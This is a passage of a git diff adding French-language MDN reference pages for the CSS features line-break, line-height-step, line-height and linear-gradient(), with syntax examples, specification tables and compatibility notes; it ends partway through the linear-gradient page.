+   <td>{{SpecName('SVG1.1', 'text.html#LetterSpacingProperty', 'letter-spacing')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale pour SVG.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#letter-spacing', 'letter-spacing')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.letter-spacing")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("font-kerning")}}</li>
+</ul>
diff --git a/files/fr/web/css/line-break/index.html b/files/fr/web/css/line-break/index.html
new file mode 100644
index 0000000000..8395c08a3a
--- /dev/null
+++ b/files/fr/web/css/line-break/index.html
@@ -0,0 +1,70 @@
+---
+title: line-break
+slug: Web/CSS/line-break
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/line-break
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>line-break</code></strong> définit la façon dont les sauts de ligne sont gérés. Cette propriété affecte uniquement les textes en chinois, japonais ou coréen (CJK).</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+line-break: auto;
+line-break: loose;
+line-break: normal;
+line-break: strict;
+
+/* Valeurs globales */
+line-break: inherit;
+line-break: initial;
+line-break: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Les sauts de ligne sont gérés avec la règle par défaut.</dd>
+ <dt><code>loose</code></dt>
+ <dd>Les sauts de ligne sont appliqués afin d'obtenir des lignes courtes (comme pour un journal). L'agent utilisateur fixera une règle souple en fonction des conventions liées à la langue utilisée.</dd>
+ <dt><code>normal</code></dt>
+ <dd>L'agent utilisateur utilisera les règles normales liées à la langue utilisée</dd>
+ <dt><code>strict</code></dt>
+ <dd>L'agent utilisateur utilisera des règles strictes et passera à la ligne dès que ce sera nécessaire au vu des caractères du langage utilisé.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#line-break-property', 'line-break')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.line-break")}}</p>
diff --git a/files/fr/web/css/line-height-step/index.html b/files/fr/web/css/line-height-step/index.html
new file mode 100644
index 0000000000..7006bee134
--- /dev/null
+++ b/files/fr/web/css/line-height-step/index.html
@@ -0,0 +1,85 @@
+---
+title: line-height-step
+slug: Web/CSS/line-height-step
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/line-height-step
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>line-height-step</code></strong> définit le pas de hauteur des boîtes de ligne. Quand le pas est positif, les hauteurs des boîtes de ligne sont arrondies au pas le plus proche. Les valeurs négatives sont invalides.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec une longueur */
+line-height-step: 18pt;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>line-height-step</code> peut être définie avec une valeur de type <code><a href="#&lt;length>">&lt;length&gt;</a></code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code><a id="&lt;length>" name="&lt;length>">&lt;length&gt;</a></code></dt>
+ <dd>La longueur indiquée est utilisée pour calculer le « pas » pour la hauteur de la boîte de chaque ligne. Voir {{cssxref("&lt;length&gt;")}} pour plus d'informations sur ce type de valeur.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p id="sect1">Dans l'exemple suivant, la hauteur de la boîte des lignes pour chaque paragraphe est arrondie à l'unité supérieure. La boîte de la ligne pour l'élément <code>&lt;h1&gt;</code> ne tient pas sur une unité et en occupe donc deux (mais est toujours centrée sur ces deux unités).</p>
+
+<pre class="brush: css">:root {
+  font-size: 12pt;
+  --my-grid: 18pt;
+  line-height-step: var(--my-grid);
+}
+h1 {
+  font-size: 20pt;
+  margin-top: calc(2 * var(--my-grid));
+}</pre>
+
+<p>Voici le résultat obtenu avec une capture d'écran :</p>
+
+<p><img alt="How the line-height-step property affects the appearance of text." src="https://mdn.mozillademos.org/files/15257/line-grid-center.png" style="height: 340px; width: 144px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Rhythmic Sizing', '#line-height-step', 'line-height-step')}}</td>
+   <td>{{Spec2('CSS Rhythmic Sizing')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.line-height-step")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("font")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("line-height")}}</li>
+</ul>
diff --git a/files/fr/web/css/line-height/index.html b/files/fr/web/css/line-height/index.html
new file mode 100644
index 0000000000..dc8f2b105c
--- /dev/null
+++ b/files/fr/web/css/line-height/index.html
@@ -0,0 +1,187 @@
+---
+title: line-height
+slug: Web/CSS/line-height
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/line-height
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>line-height</strong></code> définit la hauteur de la boîte d'une ligne.</p>
+
+<p>Sur les éléments de bloc, la propriété <strong><code>line-height</code></strong> indique la hauteur minimale des lignes au sein de l'élément. Sur les éléments en ligne qui ne sont pas <a href="/fr/docs/Web/CSS/Élément_remplacé">remplacés</a>, <strong><code>line-height</code></strong> indique la hauteur utilisée pour calculer la hauteur de la boîte d'une ligne.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/line-height.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeur avec un mot-clé */
+line-height: normal;
+
+/* Type &lt;number&gt; */
+/* S'il n'y a pas d'unité, cela
+   représente un facteur multiplicateur
+   de la taille de la police appliquée à
+   l'élément */
+line-height: 3.5;
+
+/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+line-height: 3em;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+line-height: 34%;
+
+/* Valeurs globales */
+line-height: inherit;
+line-height: initial;
+line-height: unset;
+</pre>
+
+<p>La propriété <code>line-height</code> peut être définie grâce :</p>
+
+<ul>
+ <li>à un nombre (une valeur de type <code><a href="#number">&lt;number&gt;</a></code>)</li>
+ <li>à une longueur (une valeur de type <code><a href="#length">&lt;length&gt;</a></code>)</li>
+ <li>à un pourcentage (une valeur de type <code><a href="#percentage">&lt;percentage&gt;</a></code>)</li>
+ <li>au mot-clé <code><a href="#normal">normal</a></code></li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="normal" name="normal"><code>normal</code></a></dt>
+ <dd>Le comportement dépend de l'agent utilisateur. Pour les navigateurs de bureau, l'agent utilisateur prend généralement une valeur environ égale à 1.2  selon la valeur de <code>font-family</code>.</dd>
+ <dt><a id="number" name="number"><code>&lt;number&gt;</code></a></dt>
+ <dd>La valeur utilisée est <strong>sans unité</strong> (type {{cssxref("&lt;number&gt;")}}) et correspond à un facteur multiplicateur de la taille de fonte utilisée. La valeur calculée est la même que celle définie avec <code>&lt;number&gt;</code>. Dans la plupart des cas, c'est la méthode qu'on privilégiera pour définir <code>line-height</code> et éviter les effets de l'héritage.</dd>
+ <dt><a id="length" name="length"><code>&lt;length&gt;</code></a></dt>
+ <dd>La valeur de longueur (type {{cssxref("&lt;length&gt;")}}) est utilisée pour calculer la hauteur de la boîte de la ligne. Les différentes unités qui peuvent être utilisées sont décrites avec la page {{cssxref("&lt;length&gt;")}}. Les valeurs exprimées en <code>em</code> peuvent produire des résultats inattendus.</dd>
+ <dt><a id="percentage" name="percentage"><code>&lt;percentage&gt;</code></a></dt>
+ <dd>La valeur exprimée est relative à la taille de fonte utilisée pour l'élément. La valeur calculée sera le pourcentage (type {{cssxref("&lt;percentage&gt;")}}) indiqué, multiplié par la taille calculée de la police de l'élément. Voir la section Notes pour plus de précisions sur le comportement de ce type et des valeurs exprimées en <code>em</code>.</dd>
+ <dt><code>-moz-block-height</code> {{non-standard_inline}}</dt>
+ <dd>La hauteur de la ligne correspond à la hauteur du contenu pour le bloc courant.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">/* Toutes les règles qui suivent
+   fourniront un résultat équivalent */
+
+div { line-height: 1.2;   font-size: 10pt }   /* number */
+div { line-height: 1.2em; font-size: 10pt }   /* length */
+div { line-height: 120%;  font-size: 10pt }   /* percentage */
+div { font: 10pt/1.2  Georgia,"Bitstream Charter",serif }</pre>
+
+<h3 id="Notes">Notes</h3>
+
+<ul>
+ <li>Plus souvent, on utilisera la propriété raccourcie {{cssxref("font")}} plutôt que <code>line-height</code>. Pour cette propriété raccourcie, il est cependant nécessaire d'avoir une valeur pour la propriété <code>font-family</code>.</li>
+</ul>
+
+<h3 id="Gestion_de_l'héritage_et_valeurs_sans_unité">Gestion de l'héritage et valeurs sans unité</h3>
+
+<p>Dans cet exemple, on voit qu'il est préférable d'utiliser des valeurs de type {{cssxref("&lt;number&gt;")}} plutôt que des valeurs de longueur (type {{cssxref("&lt;length&gt;")}}.</p>
+
+<p>On utilisera deux éléments {{HTMLElement("div")}}. Le premier aura une bordure verte et une valeur sans unité. Le second aura une bordure rouge et une valeur de longueur</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.green {
+  line-height: 1.1;
+  border: solid limegreen;
+}
+.red {
+  line-height: 1.1em;
+  border: solid red;
+}
+h1 {
+  font-size: 30px;
+}
+.box {
+  width: 18em;
+  display: inline-block;
+  vertical-align: top;
+  font-size: 15px;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="box green"&gt;
+ &lt;h1&gt;Avoid unexpected results by using unitless line-height&lt;/h1&gt;
+  length and percentage line-heights have poor inheritance behavior ...
+&lt;/div&gt;
+
+&lt;div class="box red"&gt;
+ &lt;h1&gt;Avoid unexpected results by using unitless line-height&lt;/h1&gt;
+  length and percentage line-heights have poor inheritance behavior ...
+&lt;/div&gt;
+
+&lt;!-- La première hauteur pour &lt;h1&gt; est calculée à partir de sa propre hauteur  (30px × 1.1) = <strong>33px</strong>  --&gt;
+&lt;!-- La hauteur du deuxième &lt;h1&gt; est basée sur la hauteur du div (15px × 1.1) = <strong>16.5px</strong> ... --&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Gestion_de_l'héritage_et_valeurs_sans_unité", '100%', '200', '')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il est nécessaire d'utiliser une valeur minimale de <code>1.5</code> pour la propriété <code>line-height</code> lorsqu'on l'applique sur le contenu des paragraphes principaux. Cela aidera les personnes ayant du mal à lire et les personnes dyslexiques. Utiliser une valeur sans unité permet de garantir une mise à l'échelle proportionnelle lorsqu'on zoome/dézoome.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html"><em>Visual Presentation: Understanding SC 1.4.8, Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'line-height')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>line-height</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#propdef-line-height', 'line-height')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#line-height', 'line-height')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.line-height")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("font")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+</ul>
diff --git a/files/fr/web/css/linear-gradient()/index.html b/files/fr/web/css/linear-gradient()/index.html
new file mode 100644
index 0000000000..155ead9fe4
--- /dev/null
+++ b/files/fr/web/css/linear-gradient()/index.html
@@ -0,0 +1,296 @@
+---
+title: linear-gradient
+slug: Web/CSS/linear-gradient()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+translation_of: Web/CSS/linear-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>linear-gradient()</code></strong> permet de créer une image (type {{cssxref("&lt;image&gt;")}}) représentant un dégradé de couleur linéaire. Le résultat de la fonction sera un objet CSS {{cssxref("&lt;gradient&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Comme pour les autres types de dégradés, la valeur obtenue n'est pas une couleur CSS (type {{cssxref("&lt;color&gt;")}} mais une image <a href="fr/docs/Web/CSS/image">sans dimension intrinsèque</a>. Autrement dit, celle-ci ne possède aucune taille « naturelle » ou préférée, sa taille réelle correspondra à la taille de l'élément auquel elle est appliquée.</p>
+
+<p>Les dégradés linéaires sont définis par un axe : la <em>ligne du dégradé</em>. Chaque point de cette ligne aura une couleur différente. Les lignes perpendiculaires à la ligne du dégradé ont chacune une couleur qui est celle du point se situant sur la ligne du dégradé à ce niveau.</p>
+
+<p><img alt="linear-gradient.png" src="/files/3537/linear-gradient.png" style="float: left; height: 383px; width: 309px;"></p>
+
+<p>La ligne du dégradé est définie par le centre de la boîte contenant le dégradé et par un angle. Les couleurs du dégradé sont définies par différents points : le point de départ et le point d'arrivée. Entre ces deux points, on peut avoir différents points d'arrêt définissant la couleur à ce niveau.</p>
+
+<p>Le point de départ utilise la couleur initiale du dégradé. Ce point est défini comme l'intersection de la ligne du dégradé et de la ligne perpendiculaire à cette droite et qui passe par le coin de la boîte situé dans le même quadrant.</p>
+
+<p>De la même façon, le point d'arrivée est le point de la ligne du dégradé où la couleur finale est atteinte. Il peut également être défini comme l'intersection entre la ligne du dégradé et une ligne perpendiculaire, passant par le coin le plus proche.</p>
+
+<p>Ces définitions plutôt complexes ont des conséquence plutôt intéressantes : les coins les plus proches de ces deux points (parfois appelés « coins magiques ») ont les couleurs de départ et de fin.</p>
+
+<p>Il est possible de définir des couleurs intermédiaires grâce à des points d'arrêt de couleurs qui seront situés sur la ligne du dégradé. Cela permet de créer une transition non linéaire ou d'utiliser plusieurs couleurs sur un seul dégradé. </p>
+
+<p>Lorsque la position d'un point d'arrêt est définie de façon implicite, celui-ci sera placé à mi-chemin entre le point précédent et le point suivant. Sa position pourra aussi être définie explicitement grâce à une valeur {{cssxref("&lt;length&gt;")}} ou {{cssxref("&lt;percentage&gt;")}}.</p>
+
+<p>La fonction <code>linear-gradient</code> ne permet pas de répéter le motif du dégradé. Pour cela, on pourra utiliser la propriété {{cssxref("repeating-linear-gradient")}}.</p>
+
+<div class="note"><strong>Note : </strong>Les dégradés sont des valeurs de type <code>&lt;image&gt;</code> et non des couleurs (type {{cssxref("&lt;color&gt;")}}. Aussi, <code>linear-gradient</code> ne pourra pas être utilisée sur {{cssxref("background-color")}} et sur les autres propriétés qui n'acceptent que des valeurs de type <code>&lt;color&gt;</code>.</div>
+
+<h2 id="Paramétrer_des_dégradés">Paramétrer des dégradés</h2>
+
+<p>En ajoutant plus de points d'arrêt de couleurs sur la ligne du dégradé, il est possible de créer des transitions complexes entre plusieurs couleurs. La position d'un point d'arrêt peut être définie de façon explicite en utilisant une longueur (valeur de type {{cssxref("&lt;length&gt;")}}) ou un pourcentage (valeur de type {{cssxref("&lt;percentage&gt;")}}). Si l'emplacement du point d'arrêt n'est pas indiqué, il sera placé à mi-chemin entre les deux points d'arrêt adjacents. Aussi, les deux instructions suivantes sont synonymes :</p>
+
+<pre class="brush: css notranslate">linear-gradient(red, orange, yellow, green, blue);
+linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%);
+</pre>
+
+<p>Par défaut, la transition entre les couleurs de deux points d'arrêt se fait de façon linéaire et la couleur intermédiaire se situera à mi-chemin. Toutefois, il est possible de déplacer cette couleur intermédiaire entre les deux points d'arrêt en fournissant une indication sur l'emplacement du milieu de la transition. L'instruction qui suit permet de définir un dégradé qui commence par du rouge allant jusqu'à 10%, passe du rouge au bleu avec la couleur intermédiaire située à 30% de la ligne puis finit en bleu pur sur les 10% de la fin de la longueur.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red 10%, 30%, blue 90%);</pre>
+
+<p>Si deux points d'arrêt de couleur sont situés au même emplacement, il y aura une ligne de rupture brutale entre les deux couleus des deux points d'arrêts.</p>
+
+<p>L'ordre des points d'arrêt est important. Si les points d'arrêt ne sont pas déclarés dans l'ordre, les points d'arrêts de valeur inférieure et situés après surchargeront les points précédents. Autrement dit, si une valeur supérieure est située avant une valeur inférieure, la première n'aura aucun effet. Avec le fragment de code qui suit, on obtient un dégradé qui commence en rouge, passe en jaune à 30% puis à bleu à 65%.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red 40%, yellow 30%, blue 65%);
+</pre>
+
+<p>Il est possible de définir plusieurs positions d'arrêt sur une même couleur pour des points d'arrêt adjacents. Ainsi, les trois dégradés suivants sont équivalents :</p>
+
+<pre class="brush: css notranslate">linear-gradient(red 0%, orange 10%, orange 30%, yellow 50%, yellow 70%, green 90%, green 100%);
+linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90%);
+linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90% 100%);
+</pre>
+
+<p>Par défaut, lorsqu'aucune couleur n'est définie pour le point d'arrêt 0%, c'est la couleur du premier point d'arrêt qui est utilisée au début du dégradé. De même, si aucune couleur n'est explicitement déclarée pour la position 100%, c'est la couleur du dernier point d'arrêt qui sera prolongée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css notranslate">/* Un dégradé suivant une ligne à 45°
+ qui démarre en bleu et finit en rouge */
+linear-gradient(45deg, blue, red);
+
+/* Un dégradé qui démarre en bas à droite,
+   qui démarre en bleu et finit en rouge */
+linear-gradient(to left top, blue, red);
+
+/* Un dégradé qui démarre du bas et va vers le haut
+   qui commence en bleu, passe en vert à 40% et termine
+   en rouge */
+linear-gradient(0deg, blue, green 40%, red);
+
+/* Indication de couleur : un dégradé de gauche à droite
+   qui commmence en rouge et dont la couleur intermédiaire
+   est située à 10% et laisse les 90% pour la seconde
+   moitié de la transition vers le bleu */
+linear-gradient(.25turn, red, 10%, blue);
+
+/* Plusieurs points d'arrêt par couleur : un dégradé
+   orienté de 45° avec une moitié inférieure gauche
+   rouge et une moitié supérieure droite bleue avec
+   une ligne franche au milieu */
+linear-gradient(45deg, red 0 50%, blue 50% 100%);
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;side-or-corner&gt;</code></dt>
+ <dd>Représente la position du point de départ de la ligne du dégradé. Elle consiste en deux mots-clés : le premier indique le côté horizontal : <code>left</code> ou <code>right</code> ; le second indique le côté vertical : <code>top</code> ou <code>bottom</code>. L'ordre n'est pas pertinent et chaque mot-clé est optionnel. Si la valeur est absente, elle vaudra <code>to bottom</code> par défaut. Les valeurs <code>to top</code>, <code>to bottom</code>, <code>to left</code> et <code>to right</code> correspondent respectivement aux angles <code>0deg</code>, <code>180deg</code>, <code>270deg</code>, <code>90deg</code>. Les autres valeurs sont traduites en angles à partir de <code>to top</code> et dans le sens des aiguilles d'une montre. Le point d'arrivé est défini comme le symétrique du point de départ par rapport au centre de la boîte.</dd>
+ <dt><code>&lt;angle&gt;</code></dt>
+ <dd>L'angle de la direction du dégradé. L'angle démarre à partir de <code>to top</code> et progresse dans le sens des aiguilles d'une montre. Pour plus de détails, voir {{cssxref("&lt;angle&gt;")}}.</dd>
+ <dt><code>&lt;linear-color-stop&gt;</code></dt>
+ <dd>Un valeur composée d'une valeur {{cssxref("&lt;color&gt;")}} éventuellement suivie d'une position (un pourcentage ou une longueur {{cssxref("&lt;length&gt;")}}) sur l'axe du dégradé. L'affichage des points d'arrêt de couleur en CSS suit les mêmes règles que les <a href="/fr/docs/Web/SVG/Tutorial/Gradients">dégradés SVG</a>.</dd>
+ <dt><code>&lt;color-hint&gt;</code></dt>
+ <dd>Cette valeur est une indication pour l'emplacement de la couleur moyenne entre les deux couleurs des points d'arrêt adjacents. Si cette valeur n'est pas utilisée, la moitié de la transition se produit à équidistance entre les deux points d'arrêt.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Le rendu des points d'arrêts de couleur pour les dégradés CSS suit les mêmes règles que celui pour les points d'arrêts de couleur pour les <a href="/fr/docs/Web/SVG/Tutoriel/Gradients">dégradés SVG</a>.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">linear-gradient(
+  [ <a href="/fr/CSS/angle">&lt;angle&gt;</a> | to &lt;side-or-corner&gt; ,]? &lt;color-stop-list&gt; )
+  \---------------------------------/ \----------------------------/
+    Définition de la ligne du dégradé   Liste des arrêts de couleur
+
+où &lt;side-or-corner&gt; = [ left | right ] || [ top | bottom ]
+  et &lt;color-stop-list&gt; = [ &lt;linear-color-stop&gt; [, &lt;color-hint&gt;? ]? ]#, &lt;linear-color-stop&gt;
+  et &lt;linear-color-stop&gt; = &lt;color&gt; [ &lt;color-stop-length&gt; ]?
+  et &lt;color-stop-length&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]{1,2}
+  et &lt;color-hint&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Dégradé_à_45_degrés">Dégradé à 45 degrés</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  background: linear-gradient(135deg, red, blue);
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div style="width: 200px; height: 200px;"&gt;&lt;/div&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Dégradé_à_45_degrés")}}</p>
+
+<h3 id="Décalage_du_début">Décalage du début</h3>
+
+<p>Parfois, on veut que le dégradé commence après le début de la ligne. Pour cela, on ajoute un point d'arrêt de la même couleur que la couleur de début.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  background: linear-gradient(135deg, red, red 60%, blue);
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div style="width: 200px; height: 200px;"&gt;&lt;/div&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Décalage_du_début")}}</p>
+
+<h3 id="Un_dégradé_avec_plusieurs_couleurs">Un dégradé avec plusieurs couleurs</h3>
+
+<p>Si la position du premier point d'arrêt n'est pas définie par une valeur <code>&lt;length&gt;</code> ou <code>&lt;percentage&gt;</code>, sa valeur par défaut sera 0%. Si la position du dernier point d'arrêt n'est pas définie par une valeur <code>&lt;length&gt;</code> ou <code>&lt;percentage&gt;</code>, sa valeur par défaut sera 100%. Si un point d'arrêt n'a aucune indication de position et que ce n'est ni le premier ni le dernier, celui-ci sera situé à mi-chemin entre les deux points d'arrêts qui l'entourent.</p>
+
+<p>Les points d'arrêt doivent être définis dans l'ordre. Une fois les valeurs associées au premier et au dernier point d'arrêt, si la position d'un point d'arrêt intermédiaire est définie « avant » un point d'arrêt déclaré avant, la position réelle du point d'arrêt intermédiaire sera ramenée à la position du point d'arrêt précédent.</p>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet);
+}
+</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Un arc-en-ciel dégradé&lt;/div&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Un_dégradé_avec_plusieurs_couleurs")}}</p>
+
+<h3 id="Répéter_un_dégradé_linéaire">Répéter un dégradé linéaire</h3>
+
+<p>La fonction <code>linear-gradient</code> ne permet pas de répéter un dégradé (par défaut le dégradé sera étiré pour remplir tout l'élément). Pour obtenir cette répétition, il faudra utiliser la fonction {{cssxref("repeating-linear-gradient")}}.</p>
+
+<h3 id="Utiliser_la_transparence">Utiliser la transparence</h3>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  background: linear-gradient(to bottom right, red, rgba(0,0,0,0));
+}</pre>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Un dégradé linéaire avec de la transparence&lt;/div&gt;</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_la_transparence")}}</p>
+
+<h3 id="Des_dégradés_pour_les_différents_navigateurs">Des dégradés pour les différents navigateurs</h3>
+
+<p>Chaque moteur possède des préfixes différents. Voici un dégradé allant du rose vers le vert et de haut en base, exprimé avec les différents préfixes :</p>
+
+<pre class="brush: css notranslate">.grad {
+  background-color: #F07575; /* fallback color if gradients are not supported */
+  background-image: -webkit-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* For Chrome 25 and Safari 6, iOS 6.1, Android 4.3 */
+  background-image:    -moz-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* For Firefox (3.6 to 15) */
+  background-image:      -o-linear-gradient(top, hsl(0, 80%, 70%), #bada55); /* For old Opera (11.1 to 12.0) */
+  background-image:         linear-gradient(to bottom, hsl(0, 80%, 70%), #bada55); /* Standard syntax; must be last */
+}
+</pre>
+
+<p>Le préfixe <code>-moz-</code> est utilisé pour une compatibilité avec Firefox 3.6 jusqu'à Firefox 15. L (Fx 3.6 to Fx 15). Le préfixe <code>-webkit-</code> est le seul qui doit toujours être inclus pour Android 4.3-, iOS jusqu'à la version 6.1 et Safari 6. Lorsqu'on utilise une version préfixée, il ne faut pas utiliser <code>to</code>.</p>
+
+<h3 id="Un_dégradé_avec_des_points_d’arrêt_à_plusieurs_couleurs">Un dégradé avec des points d’arrêt à plusieurs couleurs</h3>
+
